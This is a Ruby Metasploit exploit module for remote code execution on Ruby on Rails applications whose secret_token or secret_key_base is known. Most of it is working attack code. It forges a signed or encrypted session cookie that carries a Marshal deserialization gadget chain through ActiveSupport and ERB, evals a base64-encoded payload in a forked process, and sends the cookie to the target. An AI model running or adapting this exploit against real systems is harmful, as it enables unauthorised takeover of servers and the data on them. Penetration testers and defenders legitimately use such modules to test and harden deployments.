##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #Helper Classes copy/paste from Rails4
  class MessageVerifier

    class InvalidSignature < StandardError; end

    def initialize(secret, options = {})
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value)
      data = ::Base64.strict_encode64(@serializer.dump(value))
      "#{data}--#{generate_digest(data)}"
    end

    def generate_digest(data)
      require 'openssl' unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

  end

  class MessageEncryptor

    module NullSerializer #:nodoc:

      def self.load(value)
        value
      end

      def self.dump(value)
        value
      end

    end

    class InvalidMessage < StandardError; end

    OpenSSLCipherError = OpenSSL::Cipher::CipherError

    def initialize(secret, *signature_key_or_options)
      options = signature_key_or_options.extract_options!
      sign_secret = signature_key_or_options.first
      @secret = secret
      @sign_secret = sign_secret
      @cipher = options[:cipher] || 'aes-256-cbc'
      @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
      # @serializer = options[:serializer] || Marshal
    end

    def encrypt_and_sign(value)
      @verifier.generate(_encrypt(value))
    end

    def _encrypt(value)
      cipher = new_cipher
      cipher.encrypt
      cipher.key = @secret
      # Rely on OpenSSL for the initialization vector
      iv = cipher.random_iv
      #encrypted_data = cipher.update(@serializer.dump(value))
      encrypted_data = cipher.update(value)
      encrypted_data << cipher.final
      [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
    end

    def new_cipher
      OpenSSL::Cipher.new(@cipher)
    end

  end

  class KeyGenerator

    def initialize(secret, options = {})
      @secret = secret
      @iterations = options[:iterations] || 2**16
    end

    def generate_key(salt, key_size=64)
      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
    end

  end

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Known Secret Session Cookie Remote Code Execution',
      'Description'    => %q{
          This module implements Remote Command Execution on Ruby on Rails applications.
          Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base"
          (Rails 4). The values for those can be usually found in the file
          "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by
          deserialization of a crafted Ruby Object.
      },
      'Author'         =>
        [
          'joernchen of Phenoelit <joernchen[at]phenoelit.de>',
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          ['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/']
        ],
      'DisclosureDate' => 'Apr 11 2013',
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>	[ ['Automatic', {} ] ],
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]),
        OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]),
        OptString.new('COOKIE_NAME', [ false, 'The name of the session cookie',nil]),
        OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie','SHA1']),
        OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']),
        OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']),
        OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]),

      ])
  end


  #
  # This stub ensures that the payload runs outside of the Rails process
  # Otherwise, the session can be killed on timeout
  #
  def detached_payload_stub(code)
  %Q^
    code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
    if RUBY_PLATFORM =~ /mswin|mingw|win32/
      inp = IO.popen("ruby", "wb") rescue nil
      if inp
        inp.write(code)
        inp.close
      end
    else
      Kernel.fork do
        eval(code)
      end
    end
    {}
  ^.strip.split(/\n/).map{|line| line.strip}.join("\n")
  end

  def check_secret(data, digest)
    data = Rex::Text.uri_decode(data)
    if datastore['RAILSVERSION'] == 3
      sigkey = datastore['SECRET']
    elsif datastore['RAILSVERSION'] == 4
      keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
      sigkey = keygen.generate_key(datastore['SALTSIG'])
    end
    digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(datastore['DIGEST_NAME']), sigkey, data)
  end

  def rails_4
    keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
    enckey = keygen.generate_key(datastore['SALTENC'])
    sigkey = keygen.generate_key(datastore['SALTSIG'])
    crypter = MessageEncryptor.new(enckey, sigkey)
    crypter.encrypt_and_sign(build_cookie)
  end

  def rails_3
    # Sign it with the secret_token
    data = build_cookie
    digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), datastore['SECRET'], data)
    marshal_payload = Rex::Text.uri_encode(data)
    "#{marshal_payload}--#{digest}"
  end

  def build_cookie

    # Embed the payload with the detached stub
    code =
      "eval('" +
      Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
      "'.unpack('m0').first)"

    if datastore['RAILSVERSION'] == 4
      return "\x04\b" +
      "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
        ":\x0E@instanceo" +
          ":\bERB\x07" +
            ":\t@src"+  Marshal.dump(code)[2..-1] +
            ":\x0c@lineno"+ "i\x00" +
        ":\f@method:\vresult:" +
        "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
    end
    if datastore['RAILSVERSION'] == 3
      return Rex::Text.encode_base64 "\x04\x08" +
      "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
        ":\x0E@instance" +
          "o"+":\x08ERB"+"\x07" +
            ":\x09@src" +
              Marshal.dump(code)[2..-1] +
            ":\x0c@lineno"+ "i\x00" +
        ":\x0C@method"+":\x0Bresult"
    end
  end

  #
  # Send the actual request
  #
  def exploit
    if datastore['RAILSVERSION'] == 3
      cookie = rails_3
    elsif datastore['RAILSVERSION'] == 4
      cookie = rails_4
    end
    cookie_name = datastore['COOKIE_NAME']

    print_status("Checking for cookie #{datastore['COOKIE_NAME']}")
    res = send_request_cgi({
      'uri'    => datastore['TARGETURI'] || "/",
      'method' => datastore['HTTP_METHOD'],
    }, 25)
    if res && !res.get_cookies.empty?
        match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
    end

    if match
      if match[1] == datastore['COOKIE_NAME']
        print_status("Found cookie, now checking for proper SECRET")
      else
        print_status("Adjusting cookie name to #{match[1]}")
        cookie_name = match[1]
      end

      if check_secret(match[2],match[3])
        print_good("SECRET matches! Sending exploit payload")
      else
        fail_with(Failure::BadConfig, "SECRET does not match, wrong RAILSVERSION?")
      end
    else
      print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
      if cookie_name.nil? || cookie_name.empty?
        # This prevents trying to send busted cookies with no name
        fail_with(Failure::BadConfig, "No cookie found and no name given")
      end
      if datastore['VALIDATE_COOKIE']
        fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
      else
        print_status("Trying to leverage default controller without cookie confirmation.")
      end
    end

    print_status "Sending cookie #{cookie_name}"
    res = send_request_cgi({
      'uri'     => datastore['TARGETURI'] || "/",
      'method'  => datastore['HTTP_METHOD'],
      'headers' => {'Cookie' => cookie_name+"="+ cookie},
    }, 25)

    handler
  end

end
